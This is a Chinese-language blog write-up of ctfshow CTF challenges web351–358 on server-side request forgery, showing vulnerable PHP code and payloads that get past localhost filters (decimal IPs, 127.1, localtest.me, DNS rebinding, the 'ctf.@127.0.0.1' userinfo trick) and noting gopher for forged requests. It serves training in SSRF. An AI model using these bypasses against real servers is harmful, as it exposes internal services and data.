ssrf

知识点:

SSRF攻击点

1
2
3
4
5
6
7
8
9
<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>

  • curl_init(): 初始curl会话
  • curl_setopt(): 会话设置
  • curl_exec(): 执行curl会话,获取内容
  • curl_close(): 会话关闭

gopher协议
通过gopher协议,将请求体用url编码后加上任意字符,一般是下划线,接上gopher的url即可执行GET、POST请求

1
gopher://ip:port/_[stream]

web351

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

先进入flag.php看看

payload:

1
2
POST
url=http://127.0.0.1/flag.php

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

可以看到代码中有个正则匹配,但它并没有参数
parse_url()函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。
示例

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

以上示例会输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
array(8) {
["scheme"]=>
string(4) "http"
["host"]=>
string(8) "hostname"
["port"]=>
int(9090)
["user"]=>
string(8) "username"
["pass"]=>
string(8) "password"
["path"]=>
string(5) "/path"
["query"]=>
string(9) "arg=value"
["fragment"]=>
string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

最上面两个if感觉在本题都没什么作用
payload:

1
url=http://127.0.0.1/flag.php

根据parse_url()函数的解析,这题还有各种姿势获得flag

  • 127.1会被解析成127.0.0.1,也就意味着为零可缺省
  • 在Linux中,0也会被解析成127.0.0.1
  • 127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
  • ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
1
2
3
4
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.255.255.254/flag.php
url=http://2130706433/flag.php

web353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

这题正则加了url参数
代表这我们不能直接127.0.0.1/flag.php输入了
但是我们可以和上题一样把127.0.0.1转换为十进制
payload:

1
url=http://2130706433/flag.php

web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

可恶啊😡,竟然过滤了0和1,这代表着上面的方法都不能用了
直接搜索指向127.0.0.1的域名,直接拿来套着用
传送门

payload:

1
url=http://localtest.me/flag.php

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

host 长度小于等于5
用前面的办法即可
payload:

1
2
url=127.1/flag.php
url=0/flag.php

web356

不贴代码了,同上,本题host len小于等于3
payload:

1
url=http://0/flag.php

web357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

这题有两种解法——302跳转和dns重绑定
但是本题题解只放一种(还没搞懂VPS🥶)
网址送上
dns重绑定
dns rebinding里第一个域名随意,第二个域名为自己的

把域名换为identifier里的内容,域名前面要加r.
需要多试几次
payload:

1
2
url=http://r.****/flag.php

web358

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

正则表达式字符

  • ^ :匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘/n’ 或 ‘/r’ 之后的位置。

  • $ :匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘/n’ 或 ‘/r’ 之前的位置。

  • /..* :匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。

所以,正则表达式表明以http://ctf.开始,以show结尾

payload:

1
2
3
url=http://ctf.@127.0.0.1/flag.php?show
or
url=http://ctf.@127.0.0.1/flag.php#show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

array(8) {
["scheme"]=>
string(4) "http"
["host"]=>
string(8) "hostname"
["port"]=>
int(9090)
["user"]=>
string(8) "username"
["pass"]=>
string(8) "password"
["path"]=>
string(5) "/path"
["query"]=>
string(9) "arg=value"
["fragment"]=>
string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关


ssrf
http://example.com/2023/09/26/ssrf/
作者
奇怪的奇怪
发布于
2023年9月26日
许可协议